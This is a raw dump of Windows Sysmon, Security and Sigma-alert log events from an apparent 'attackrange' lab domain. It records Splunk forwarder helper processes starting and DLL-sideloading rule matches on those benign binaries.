AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013494Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:38.167{f73635a5-405e-6423-6c1c-000000004902}2588C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013493Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:36.838{f73635a5-405c-6423-6b1c-000000004902}5240C:\Windows\System32\taskhostw.exe10.0.17763.1852 (WinBuild.160101.0800)Host Process for Windows TasksMicrosoft® Windows® Operating SystemMicrosoft Corporationtaskhostw.exetaskhostw.exe NGCKeyPregenC:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=8BD7B08DA6BCA54DF9B595E4D9281BEB,SHA256=DE85F29A8BC7219F10A4AC88654C3901ABC329D7505B21CD95CBF780D1EBCCF4,IMPHASH=9839C7FD9649496B162F72128209528A{f73635a5-ff5c-6421-2700-000000004902}1740C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ScheduleNT AUTHORITY\SYSTEM + 4688201331200x8020000000000000362026Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011366Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:21.014{F02F376E-404D-6423-561B-00000000D602}1892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362025Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa28C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011365Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:20.369{F02F376E-404C-6423-551B-00000000D602}2600C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362024Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x4b0C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011364Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:19.619{F02F376E-404B-6423-541B-00000000D602}1200C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362023Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xfa0C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011363Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:15.565{F02F376E-4047-6423-531B-00000000D602}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 7300x8000000000000026905Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB220000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"2028","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFCFB220000","ImageCheckSum":"205048","ImageLoaded":"\\Windows\\System32\\dbgcore.dll","ImageName":"\\Windows\\System32\\dbgcore.dll","ImageSize":"0x29000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbgcore.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbgcore.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"9ca2bf31-0570-44d8-a543-534c47c33ed7","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbgcore_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGCORE.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:13.0343041Z","TimeDateStamp":"1611809694","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 7300x8000000000000026904Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB250000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"2028","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFCFB250000","ImageCheckSum":"1575379","ImageLoaded":"\\Windows\\System32\\dbghelp.dll","ImageName":"\\Windows\\System32\\dbghelp.dll","ImageSize":"0x192000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbghelp.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbghelp.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"6414b5cd-b19d-447e-bb5e-9f03940b5784","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbghelp_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGHELP.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:13.0335848Z","TimeDateStamp":"1468635229","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 7300x8000000000000026903Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFD054F0000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"4056","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFD054F0000","ImageCheckSum":"661894","ImageLoaded":"\\Windows\\System32\\dnsapi.dll","ImageName":"\\Windows\\System32\\dnsapi.dll","ImageSize":"0xA2000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dnsapi.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems)","Rule_Description":"Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLLs mentioned in this rule","Rule_Id":"4fc0deee-0057-4998-ab31-d24e46e0aba4","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_from_non_system_location.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_from_non_system_location.yml","Rule_References":"https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md","Rule_Sigtype":"public","Rule_Title":"Potential System DLL Sideloading From Non System Locations","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:12.8511682Z","TimeDateStamp":"1617867024","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 4688201331200x8020000000000000362022Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa34C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011362Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:14.805{F02F376E-4046-6423-521B-00000000D602}2612C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}1952--- + 154100x800000000000000013492Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:43.482{f73635a5-4027-6423-6a1c-000000004902}3684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013491Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:42.728{f73635a5-4026-6423-691c-000000004902}2072C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013490Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:41.977{f73635a5-4025-6423-681c-000000004902}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013489Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:41.223{f73635a5-4025-6423-671c-000000004902}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013488Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:38.140{f73635a5-4022-6423-661c-000000004902}2136C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000011361Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:21.125{F02F376E-4011-6423-511B-00000000D602}1872C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362021Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x750C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011360Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:20.369{F02F376E-4010-6423-501B-00000000D602}936C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362020Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x3a8C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011359Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:19.607{F02F376E-400F-6423-4F1B-00000000D602}844C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362019Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x34cC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011358Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:15.530{F02F376E-400B-6423-4E1B-00000000D602}2696C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362018Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa88C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 7300x8000000000000026902Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB220000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"996","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFB220000","ImageCheckSum":"205048","ImageLoaded":"\\Windows\\System32\\dbgcore.dll","ImageName":"\\Windows\\System32\\dbgcore.dll","ImageSize":"0x29000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbgcore.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbgcore.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"9ca2bf31-0570-44d8-a543-534c47c33ed7","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbgcore_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGCORE.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.997117Z","TimeDateStamp":"1611809694","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 7300x8000000000000026901Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB250000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"996","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFB250000","ImageCheckSum":"1575379","ImageLoaded":"\\Windows\\System32\\dbghelp.dll","ImageName":"\\Windows\\System32\\dbghelp.dll","ImageSize":"0x192000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbghelp.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbghelp.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"6414b5cd-b19d-447e-bb5e-9f03940b5784","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbghelp_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGHELP.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.9966648Z","TimeDateStamp":"1468635229","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 7300x8000000000000026900Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFD870000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"3988","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFD870000","ImageCheckSum":"59227","ImageLoaded":"\\Windows\\System32\\fltLib.dll","ImageName":"\\Windows\\System32\\fltLib.dll","ImageSize":"0xA000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\fltLib.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems)","Rule_Description":"Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLLs mentioned in this rule","Rule_Id":"4fc0deee-0057-4998-ab31-d24e46e0aba4","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_from_non_system_location.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_from_non_system_location.yml","Rule_References":"https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md","Rule_Sigtype":"public","Rule_Title":"Potential System DLL Sideloading From Non System Locations","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.832727Z","TimeDateStamp":"1468636063","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 154100x800000000000000011357Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:14.786{F02F376E-400A-6423-4D1B-00000000D602}3192C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362017Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xc78C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000013487Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:43.479{f73635a5-3feb-6423-651c-000000004902}7136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013486Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:42.726{f73635a5-3fea-6423-641c-000000004902}1944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT 